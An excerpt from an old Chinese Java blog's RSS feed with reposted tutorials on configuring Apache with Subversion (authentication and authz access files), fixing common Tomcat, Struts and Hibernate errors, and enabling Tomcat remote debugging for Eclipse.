<p style="text-indent: 2em">来到任意空目录下，比如在f分区建立一个空文件夹 f:\work 。&#8220;右键 -&gt; SVN Checkout&#8221;。在&#8220;URL of repository&#8221;中输入&#8220;svn://localhost/svn/repo1/guestbook&#8221;，这样我们就得到了一份 guestbook 中内容的工作拷贝。</p>
<p>2、存入（check in）/提交（commit）</p>
<p>在工作拷贝中作出修改并提交：</p>
<p style="text-indent: 2em">在 guestbook 工作拷贝中随便打开一个文件，作出修改，然后&#8220;右键 -&gt; SVN Commit... &#8221;。这样我们就把修改提交到了版本库，版本库根据情况存储我们提交的数据。</p>
<p style="text-indent: 2em">在修改过的文件上&#8220;右键 -&gt; TortoiseSVN -&gt; Show Log&#8221; ，可以看到对这个文件所有的提交。在不同的 revision 条目上&#8220;右键 -&gt; Compare with working copy&#8221;，我们可以比较工作拷贝的文件和所选 revision 版本的区别。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3>3.2 安装 ApacheSVN 服务器</h3>
<p style="text-indent: 2em">Subversion的设计包括一个抽象的网络层，这意味着版本库可以通过各种服务器进程访问。理论上讲，Subversion可以使用无限数量的网络协议实现，目前实践中存在着两种服务器。</p>
<p>&nbsp;</p>
<ul>
    <li>SVNServer：svnserve 是一个小的（也叫轻型的）、独立服务器，使用自己定义的协议和客户端。（作者注：以下称这种服务器为&#8220;svnserver服务器&#8221;，上面的安装配置就是安装svnserver服务器。） <br />
    <br />
    <li>ApacheSVN：Apache是最流行的web服务器，通过使用 mod_dav_svn 模块，Apache可以访问版本库，并且可以使客户端使用HTTP的扩展协议WebDAV/DeltaV进行访问。（作者注：以下称这种服务器为&#8220;ApacheSVN服务器&#8221;） </li>
</ul>
<p>&nbsp;</p>
<p style="text-indent: 2em">通过 Http 协议访问版本库是 Subversion 的亮点之一。<strong>ApacheSVN服务器</strong> 具备了许多 <strong>svnserve服务器 </strong>没有的特性，使用上更加灵活，但是有一点难于配置，灵活通常会带来复杂性。</p>
<p style="text-indent: 2em">由于 Subversion 需要版本化的控制，因此标准的 Http 协议不能满足需求。要让 Apache 与 Subversion 协同工作，需要使用 WebDAV（Web-based Distributed Authoring and Versioning：）Web 分布式创作和版本控制）。WebDAV 是 HTTP 1.1 的扩展，关于 WebDAV 的规范和工作原理，可以参考 <a href="http://www.ietf.org/rfc/rfc2518.txt">IETF RFC 2518</a> （<a href="http://www.ietf.org/rfc/rfc2518.txt">http://www.ietf.org/rfc/rfc2518.txt</a>）。</p>
<p>&nbsp;</p>
<p>一、必备条件</p>
<p style="text-indent: 2em">为了让你的版本库使用HTTP网络，你必需具备以下几个条件：</p>
<ol>
    <li>配置好httpd 2.2.x，并且使用mod_dav启动。
    <li>为mod_dav安装mod_dav_svn插件。
    <li>配置你的httpd.conf，使http协议能访问版本库。 </li>
</ol>
<p style="text-indent: 2em">下面以我的配置过程详细讲解。</p>
<p>环境：</p>
<p style="text-indent: 2em">OS：Windows XP SP2</p>
<p style="text-indent: 2em">Web：Apache 2.2.6</p>
<p style="text-indent: 2em">SVN：svn-win32-1.4.6</p>
<p>&nbsp;</p>
<p>二、安装</p>
<p>1、安装Apache</p>
<p style="text-indent: 2em">具体安装方法见：《<a href="http://indian.blog.163.com/blog/static/1088158200755105546704">Windows下安装Apache 2.2.x</a>》</p>
<p>2、安装 Subversion</p>
<p style="text-indent: 2em">将下载下来的 svn-win32-1.4.6.zip 直接解压即可，比如我解压到 e:\subversion 。<br />
从Subversion安装目录的 bin 子目录将 intl3_svn.dll、libdb44.dll、mod_authz_svn.so、mod_dav_svn.so 拷贝到Apache的模块目录（Apache 安装目录的 modules 文件夹）。</p>
<p>&nbsp;</p>
<p>三、基本的Apache配置</p>
<p style="text-indent: 2em">修改Apache的配置文件 <em>httpd.conf </em>，使用LoadModule来加载mod_dav_svn模块。</p>
<p>将：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">#LoadModule dav_module modules/mod_dav.so</div>
<p>改成：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">LoadModule dav_module modules/mod_dav.so</div>
<p style="text-indent: 2em">即去掉前面的&#8220;#&#8221;号。</p>
<p>添加：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">LoadModule dav_svn_module modules/mod_dav_svn.so</div>
<p style="text-indent: 2em">一定确定它在 mod_dav 之后。</p>
<p style="text-indent: 2em">现在你已经设置了Apache和Subversion，但是Apache不知道如何处理 Subversion客户端，例如TortoiseSVN。为了让Apache知道哪个目录是用来作为Subversion版本库，你需要使用编辑器（例 如记事本）编辑Apache的配置文件。</p>
<p style="text-indent: 2em">在配置文件最后添加如下几行：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">&lt;Location / repository&gt;<br />
DAV svn<br />
SVNPath e:/svn/repos1<br />
&lt;/Location&gt;</div>
<p style="text-indent: 2em">这个配置告诉Apache首先需要启用 dav_module，然后加载 dav_svn_module 。版本库对外的URL是：http://服务器IP/repository ，所有的Subversion版本库在物理上位于e:/svn/repos1 。</p>
<p style="text-indent: 2em">配置完毕后重新启动 Apache，打开浏览器，输入 http://服务器IP/ repository 将会看到如下画面：</p>
<p style="margin: 25pt; text-align: center"><img height="104" src="http://img.blog.163.com/photo/94bq16Cb2CSM3YMOo_WcWQ==/880172252174552815.jpg" width="324" border="0"  alt="" /></p>
<p style="text-indent: 2em">这表示 Apache 的 dav_svn 模块已经可以正常工作了。用户可以使用任何一种 Subversion 的客户端通过 Http 协议访问你的版本库。</p>
<p style="text-indent: 2em">如果想要指定多个版本库，可以用多个 Location 标签，也可以使用 SVNParentPath 代替 SVNPath，例如在 e:\svn 下有多个版本库 repos1，repos2 等等，用如下方式指定：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">&lt;Location /repository&gt;<br />
DAV svn<br />
SVNParentPath e:/svn<br />
&lt;/Location&gt;</div>
<p style="text-indent: 2em">&#8220;SVNParentPath e:/svn &#8221; 表示 e:\svn 下的每个子目录都是一个版本库。可以通过 http://服务器IP/repository/repos1，http://服务器IP/repository/repos2 来访问。</p>
<p style="text-indent: 2em">现在你的版本库任何人都可以访问，并且有完全的写操作权限。也就是说任何人都可以匿名读取， 修改，提交，以及删除版本库中的内容(注：这时不需要配置E:\svn\repos\conf\svnserve.conf 文件，并且也不需要启动E:\subversion\bin\svnserve.exe。因为提交是通过Apache的dav模块处理的，而不是由 svnservice处理。)。我们用 TortoiseSVN 客户端验证即知。</p>
<p style="text-indent: 2em">显然大部分场合这是不符合需求的。那么如何进行权限设置呢，Apache 提供了基本的权限设置：</p>
<p>&nbsp;</p>
<p>四、认证选项</p>
<p>1、基本 HTTP 认证</p>
<p style="text-indent: 2em">最简单的客户端认证方式是通过 HTTP 基本认证机制，简单的使用用户名和密码来验证一个用户的身份。Apache提供了一个 htpasswd 工具来管理一个用户文件，这个文件包含用户名和加密后的密码，这些就是你希望赋予 Subversion 特别权限的用户。htpasswd 可以在 Apache 的 bin 安装目录下找到。具体使用方法如下：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">
<p>创建用户文件：<br />
htpasswd -c E:\usr\Apache2.2\bin\passwd.conf username</p>
<p>添加新用户（-m 表示以 MD5 加密密码，可选项）：<br />
htpasswd [-m] E:\usr\Apache2.2\bin\passwd.conf Newusername</p>
<p>更改用户密码：<br />
htpasswd [-m] E:\usr\Apache2.2\bin\passwd.conf username</p>
<p>删除用户（要用大写的 D ）：<br />
htpasswd &#8211;D E:\usr\Apache2.2\bin\passwd.conf username</p>
</div>
<p style="text-indent: 2em">接下来修改 httpd.conf，在 Location 标签中加入如下内容：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">AuthType Basic<br />
AuthName "svn repos"<br />
AuthUserFile E:/usr/Apache2.2/bin/passwd.conf<br />
Require valid-user</div>
<p style="text-indent: 2em">说明：</p>
<p style="text-indent: 2em">AuthType Basic：启用基本的验证，比如用户名/密码对。</p>
<p style="text-indent: 2em">AuthName "svn repos"：当一个认证对话框弹出时，出现在认证对话框中的信息。（最好用英文，TortoiseSVN 不支持中文，安装语言包除外。）</p>
<p style="text-indent: 2em">AuthUserFile E:/usr/Apache2.2/bin/passwd：指定E:\usr\Apache2.2\bin\passwd为用户文件，用来验证用户的用户名及密码。</p>
<p style="text-indent: 2em">Require valid-user：限定用户只有输入正确的用户名及密码后才能访问这个路径</p>
<p>&nbsp;</p>
<p style="text-indent: 2em">重新启动 Apache ，打开浏览器访问版本库。Apache 会提示你输入用户名和密码来认证登陆了，现在只有 passwd 文件中设定的用户才可以访问版本库。也可以配置只有特定用户可以访问，替换上述 "Require valid-user" 为 "Require user tony robert" 将只有用户文件中的 tony 和 robert 可以访问该版本库。</p>
<p style="text-indent: 2em">有的时候也许不需要这样严格的访问控制，例如大多数开源项目允许匿名的读取操作，而只有认证用户才允许写操作。为了实现更为细致的权限认证，可以使用 Limit 和 LimitExcept 标签。例如：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">&lt;LimitExcept GET PROPFIND OPTIONS REPORT&gt;<br />
require valid-user<br />
&lt;/LimitExcept&gt;</div>
<p style="text-indent: 2em">以上配置将使匿名用户有读取权限，而限制只有 passwd 中配置的用户可以使用写操作。</p>
<p style="text-indent: 2em">如果这还不能满足你的要求，你希望精确的控制版本库目录访问，可以使用 Apache 的 mod_authz_svn 模块对每个目录进行认证操作。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>2、用 mod_authz_svn 进行目录访问控制</p>
<p style="text-indent: 2em">首先需要让 Apache 将 mod_authz_svn 模块加载进来。在 Subversion 的安装目录中找到 mod_auth_svn 模块，将其拷贝到 Apache 安装目录的 modules 子目录下。修改 httpd.conf 文件，添加：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">LoadModule authz_svn_module modules/mod_authz_svn.so</div>
<p style="text-indent: 2em">现在可以在 Location 标签中使用 authz 的功能了。一个基本的 authz 配置如下：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">&lt;Location /repository&gt;<br />
DAV svn<br />
SVNParentPath e:/svn<br />
<br />
# our access control policy<br />
AuthzSVNAccessFile E:/usr/Apache2.2/bin/accesspolicy.conf<br />
<br />
# try anonymous access first, resort to real<br />
# authentication if necessary.<br />
Satisfy Any<br />
Require valid-user<br />
<br />
# how to authenticate a user<br />
AuthType Basic<br />
AuthName "Subversion repository"<br />
AuthUserFile E:/usr/Apache2.2/bin/passwd.conf<br />
&lt;/Location&gt;</div>
<p style="text-indent: 2em">AuthzSVNAccessFile 指向的是 authz 的策略文件，详细的权限控制可以在这个策略文件中指定。访问文件 accesspolicy.conf 的语法与svnserve.conf和 Apache 的配置文件非常相似，以（#）开头的行会被忽略；在它的简单形式里，每一小节命名一个版本库和一个里面的路径；认证用户名是在每个小节中的选项名；每个选 项的值描述了用户访问版本库的级别：r（只读）或者rw（读写），如果用户没有提到或者值留空，访问是不允许的； * 表示所有用户，用它控制匿名用户的访问权限；@符号区分组和用户。如：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">[groups]<br />
committers = paulex, richard<br />
developers = jimmy, michel, spark, sean<br />
<br />
[/]<br />
* = r<br />
@committers = rw <br />
<br />
[/branches/dev]<br />
@developers = rw <br />
<br />
[/tags]<br />
tony = rw <br />
[/private]<br />
* = <br />
@committers= r</div>
<p style="text-indent: 2em">使用 SVNParentPath 代替 SVNPath 来指定多个版本库的父目录时，其中所有的版本库都将按照这个策略文件配置。例如上例中 tony 将对所有版本库里的 /tags 目录具有读写权限。如果要对具体每个版本库配置，用如下的语法：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">[groups]<br />
project1_committers = paulex, richard<br />
project2_committers = jimmy, michel, spark, tony, Robert<br />
<br />
[repos1:/] <br />
* = r <br />
@ project1_committer = rw<br />
<br />
[repos2:/] <br />
* = r <br />
@ project2_committer = rw</div>
<p style="text-indent: 2em">这样项目1的 project1_committer 组只能对 repos1 版本库下的文件具有写权限而不能修改版本库 repos2 ，同样项目2的 project2_commiter 组也不能修改 repos1 版本库的文件。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1 style="text-align: center">4、FAQ</h1>
<p>1、路径或权限不足时将出现错误信息提示：</p>
<p>http://localhost （路径不对）<br />
Error * PROPFIND request failed on '/' PROPFIND of '/': 200 OK (http://localhost)</p>
<p>http://localhost/svn （权限不足） <br />
Error * PROPFIND request failed on '/svn' PROPFIND of '/svn': 403 Forbidden (http://localhost)</p>
<p>http://localhost/svn/repos （正常显示）</p>
<p>http://localhost/repos （权限不允许） <br />
Error * PROPFIND request failed on '/repos' PROPFIND of '/repos': 405 Method Not Allowed (http://localhost)</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>2、不启动E:\subversion\bin\svnserve.exe ，但启动了ApacheSVN ，访问（tortoiseSVN &#8211;&gt; Repo &#8211; browser）或提交（SVN Commit）情形如下：</p>
<p style="text-indent: 2em">现象：svn://localhost/svn/repos 不能访问或提交，提示：Error * Can't connect to host 'localhost': 由于目标机器积极拒绝，无法连接。 但 file:///e:/svn/repos 和 http://localhost/svn/repos 可以访问或提交。</p>
<p style="text-indent: 2em">原因：svn:// 是独立服务器 svnserver 自己的协议。file:/// 是本地访问，即服务器端和客户端在一个机器上。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>参考资料：<br />
<a href="http://subversion.tigris.org/">Subversion 官方网站</a>：Subversion 的官方网站，提供最权威的介绍和最新的下载。<br />
<a href="http://www.subversion.org.cn/svnbook/">Subversion 中文手册</a>：Subversion 简体中文官方网站翻译的中文手册。<br />
<a href="http://www.subversion.org.cn/tsvndoc/">TortoiseSVN 中文文档</a>：Subversion 简体中文官方网站翻译的 TortoiseSVN 中文文档。<br />
<a href="http://www.iusesvn.com/">我用SVN中文论坛</a>：国内人气非常旺的 SVN 中文交流论坛。<br />
《<a href="http://www.subversion.org.cn/index.php?option=com_content&amp;task=view&amp;id=78&amp;Itemid=9">用Apache和Subversion搭建安全的版本控制环境</a>》：IBM 工程师写的基于 Linux 的教程。<br />
<a href="http://baike.baidu.com/">百度百科</a>：由全体网民共同撰写的百科全书</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>~ 全文完~</p>
<img src ="http://www.blogjava.net/junky/aggbug/175081.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2008-01-14 09:38 <a href="http://www.blogjava.net/junky/archive/2008/01/14/175081.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]Tomcat调试经验。</title><link>http://www.blogjava.net/junky/archive/2007/12/17/168182.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Mon, 17 Dec 2007 03:22:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/12/17/168182.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/168182.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/12/17/168182.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/168182.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/168182.html</trackback:ping><description><![CDATA[<p>Tomcat调试经验。一些自己总结的，一些是他人的经验。</p>
<p>1 Q：<br />
2006-2-27 21:31:59 org.apache.coyote.http11.Http11Protocol init<br />
严重: Error initializing endpoint<br />
java.net.SocketException: Permission denied: listen failed<br />
&nbsp;&nbsp;&nbsp; at java.net.PlainSocketImpl.socketListen(Native Method)<br />
&nbsp;&nbsp;&nbsp; at java.net.PlainSocketImpl.listen(PlainSocketImpl.java:343)<br />
&nbsp;&nbsp;&nbsp; at java.net.ServerSocket.bind(ServerSocket.java:319)<br />
&nbsp;&nbsp;&nbsp; at java.net.ServerSocket.&lt;init&gt;(ServerSocket.java:185)<br />
&nbsp;&nbsp;&nbsp; at java.net.ServerSocket.&lt;init&gt;(ServerSocket.java:141)<br />
&nbsp;&nbsp;&nbsp; at </p>
<p>org.apache.tomcat.util.net.DefaultServerSocketFactory.createSocket(DefaultServerSocketFactory.java:49)</p>
<p>A：<br />
要改一下端口，在TOMCAT_HOME\conf\server.xml 把8080改成其他的。<br />
启动之前，先用 netstat -a 检查一下 port 是不</p>
<p>是已经被使用了。有可能被ORACLE或者打开的Eclipse程序占用。<br />
OracleOraHome92TNSListenerLISTENER1</p>
<p>2&nbsp;&nbsp; Q：<br />
JasperException: Failed to load or instantiate TagLibraryValidator class: org.apache.taglibs.standard.tlv.JstlCoreTLV <br />
A: 原因lib中缺少standard.jar和servlet-api.jar两个文件，将两个文件加入用户库中。</p>
<p>3&nbsp;&nbsp;&nbsp; 错误：<br />
java.lang.NullPointerException <br />
原因： 发现 dao 实例、 manage 实例等需要注入的东西没有被注入 <br />
解决：这个时候，你应该查看日志文件；默认是应用服务器的 log 文件，比如 Tomcat 就是 [Tomcat 安装目录 ]/logs ；你会发现提示你： <br />
可能是： <br />
org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sf' defined in ServletContext resource [/WEB-INF/applicationContext.xml]: Initialization of bean failed; nested exception is org.hibernate.HibernateException: could not configure from URL: file:src/hibernate.cfg.xml <br />
org.hibernate.HibernateException: could not configure from URL: file:src/hibernate.cfg.xml <br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;. <br />
Caused by: java.io.FileNotFoundException: src\hibernate.cfg.xml <br />
可能是： <br />
org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sessionFactory' defined in ServletContext resource [/WEB-INF/applicationContext.xml]: Initialization of bean failed; nested exception is org.hibernate.MappingException: Resource: com/mcc/coupon/model/UserRole.hbm.xml not found <br />
org.hibernate.MappingException: Resource: com/mcc/coupon/model/UserRole.hbm.xml not found <br />
然后你就知道原因是因为配置文件的解析出了错误，这个通过 Web 页面是看不出来的。 <br />
更多的是持久化影射文件出的错误；导致了没有被解析；当然你需要的功能就无法使用了。 <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;<br />
4&nbsp;&nbsp; 错误：<br />
StandardWrapperValve[action]: Servlet.service() for servlet action threw exception<br />
javax.servlet.jsp.JspException: Cannot retrieve mapping for action /settlementTypeManage <br />
或者： <br />
&nbsp;&nbsp;&nbsp;&nbsp; type Status report<br />
&nbsp;&nbsp;&nbsp;&nbsp; message Servlet action is not available <br />
&nbsp;&nbsp;&nbsp;&nbsp; description The requested resource (Servlet action is not available) is not available. </p>
<p>原因： 同 3<br />
&nbsp;&nbsp;<br />
5&nbsp;&nbsp; 错误：<br />
StandardWrapperValve[jsp]: Servlet.service() for servlet jsp threw exception <br />
java.lang.ClassNotFoundException: org.apache.struts.taglib.bean.CookieTei <br />
界面错误具体描述：<br />
org.apache.jasper.JasperException: Failed to load or instantiate TagExtraInfo class: org.apache.struts.taglib.bean.CookieTei</p>
<p><br />
&nbsp;&nbsp;&nbsp;&nbsp; 原因与解决： <br />
&nbsp;&nbsp; &lt;方案一&gt;你的&#8220;html:&#8221;开头的标签没有放在一个&lt;html:form&gt;中<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;方案二&gt;重新启动你的应用服务器，自动就没有这个问题了</p>
<p>6 错误：<br />
Exception in thread "main" org.hibernate.exception.SQLGrammarException: Could not execute JDBC batch update<br />
原因与解决：<br />
&nbsp;&nbsp;&nbsp;&nbsp; 因为Hibernate Tools（或者Eclipse本身的Database Explorer）生成*.hbn.xml工具中包含有catalog="***"（*表示数据库名称）这样的属性,将该属性删除就可以了</p>
<p>7&nbsp;&nbsp; 错误：<br />
org.hibernate.ObjectDeletedException: deleted object would be re-saved by cascade (remove deleted object from associations)<br />
原因与解决：<br />
方法1 删除Set方的cascade<br />
方法2 解决关联关系后，再删除<br />
方法3 在many-to-one方增加cascade 但值不能是none<br />
最后一招：<br />
检查一下hashCode equals是否使用了id作为唯一标示的选项了；我用uuid.hex时是没有问题的；但是用了native，就不行了，怎么办？删除啊！<br />
这个错误可以参见我的blog文章：<br />
<a href="http://www.blogjava.net/crazycy/archive/2006/06/24/54939.html">http://www.blogjava.net/crazycy/archive/2006/06/24/54939.html</a><br />
&nbsp;&nbsp;<br />
8&nbsp;&nbsp;&nbsp;&nbsp; 错误：<br />
exception javax.servlet.ServletException: BeanUtils.populat<br />
root cause<br />
java.lang.IllegalArgumentException:Cannot invoke ***Form.set*** - argument type mismatch<br />
原因<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个问题很奇怪的说，为啥说奇怪呢？<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 先说问题的原因：问题发生如下两种情况：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Form中是Date类型<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 上传文件时<br />
为什么说奇怪呢？主要针对Form是日期型的来说的；因为我做过N多系统Form中都是用java.util.Date，界面使用&lt;html:text property=&#8221;date&#8221;/&gt;;都是没有问题的。所以第一次遇到这个错误时，捣鼓了一个下午。<br />
解决：<br />
第一个问题：你把Date换成String；在Action中进行转换；当然转换要借助于SimpleDateFormate方法喽<br />
第二个问题：记得在form中增加enctype="multipart/form-data" 呵呵</p>
<p>9&nbsp;&nbsp; 问题：<br />
今天用Tomcat5.5.12，发现原来很好用的系统不能用了，反复测试发现页面中不能包含 taglib，否则会出现以下提示：<br />
HTTP Status 500 -type Exception report<br />
Message&nbsp;&nbsp;<br />
description The server encountered an internal error () that prevented it from fulfilling this request.<br />
exception<br />
org.apache.jasper.JasperException: /index.jsp(1,1) Unable to read TLD "META-INF/tlds/struts-bean.tld" from JAR file "file:*****/WEB-INF/lib/struts.jar":<br />
原因：<br />
更新了工程用的lib文件夹下的jar，发布时也发布了servlet.jar和jsp-api.jar。<br />
解决：<br />
把jsp-api.jar删除就解决这个问题了。</p>
<p><br />
10&nbsp;&nbsp; 问题：Tomcat5.0.20中差错可以通过[Tomcat安装目录]/logs下的localhost_log.2006-07-14.txt类似的文件看具体的错误日志，但是在5.5中就找不到了<br />
原因与解决：<br />
我把[Tomcat安装目录]/bin下的tomcat5w.exe的logging标签捣鼓了一会，然后重起就有了。<br />
原因具体说不准，用非安装版也有这个问题。</p>
<p>最终解决方案：<br />
&nbsp;&nbsp;&nbsp;<a href="http://tomcat.apache.org/tomcat-5.5-doc/logging.html">http://tomcat.apache.org/tomcat-5.5-doc/logging.html</a><br />
&nbsp;&nbsp;&nbsp;<br />
11 错误：javax.servlet.ServletException: Cannot find bean page in any scope<br />
原因 1：检查程序，有可能是jsp中式到的bean在程序中没有运行到，所以不存在。</p>
<p>12 错误：No action instance for path /MenuManage could be created<br />
原因：sturts配置问题，找不到Form对应的bean。检查jsp文件和struts-config.xml文件。</p>
<p>13 错误：org.hibernate.hql.ast.QuerySyntaxException: address is not mapped. [from address]<br />
原因：检查对应bean中数据库名是否和hibernate定义的相同，注意大小写。</p>
<p>14 错误：org.hibernate.PropertyAccessException: IllegalArgumentException occurred while calling setter in class: com.xxx.perrsistence.Test, setter method of property: id<br />
原因：对应bean中set方法数据类型和hibernate配置文件中定义的类型是否一致</p>
<img src ="http://www.blogjava.net/junky/aggbug/168182.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-12-17 11:22 <a href="http://www.blogjava.net/junky/archive/2007/12/17/168182.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用Eclipse远程调试发布在Tomcat上的Web应用(转)</title><link>http://www.blogjava.net/junky/archive/2007/12/12/167251.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Wed, 12 Dec 2007 07:59:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/12/12/167251.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/167251.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/12/12/167251.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/167251.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/167251.html</trackback:ping><description><![CDATA[<div class="postbody"><a title="Remote Debugging with Eclipse" href="http://eclipsezone.com/eclipse/forums/t53459.html" target="_blank">Remote Debugging with Eclipse</a>说明了远程调试的原理，说明了让java程序支持被远程调用所需要的java参数如下<br />
-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=1044<br />
以及如何配置远程调试weblogic、jboss和tomcat，但是里面对如何让tomcat支持远程调用并没有仔细说。再搜索，在tomcat的FAQ就找到了：<br />
<a title="How do I configure Tomcat to support remote debugging?" href="http://tomcat.apache.org/faq/development.html#rd" target="_blank">How do I configure Tomcat to support remote debugging?</a><br />
如上面所示，其中的关键在于如何正确的启动tomcat。对于非windows平台下的操作来说，需要把%TOMCAT_HOME%/bin/startup.sh中的最后一行exec "$PRGDIR"/"$EXECUTABLE" start "$@" 中的start改成jpda start。如果的8000端口有其他用处的话，那么还需要修改catalina.sh文件，看其中的说明，添加一行JPDA_ADDRESS=&#8221;1044&#8221;或者其他你指定的端口。这样就可以通过startup.sh或者catalina.sh jpda start来其中支持远程调试的tomcat了。<br />
在windows平台上是一样的步骤，只不过.sh文件改成了.bat文件了。然后需要注意以下这些地方，<br />
1、&nbsp;catalina.bat文件默认的JPDA_TRANSPORT是dt_shmem，但是Eclipse只支持dt_socket,所以需要在catalina.bat中添加一行<span style="color: #339966">set JPDA_TRANSPORT=&#8221;dt_socket&#8221;<br />
</span>2、&nbsp;catalina.bat文件默认的端口是jdbconn，我也不知道这个端口是多少，因此添加一个<span style="color: #339966">set JPDA_ADDRESS="1044"</span></div>
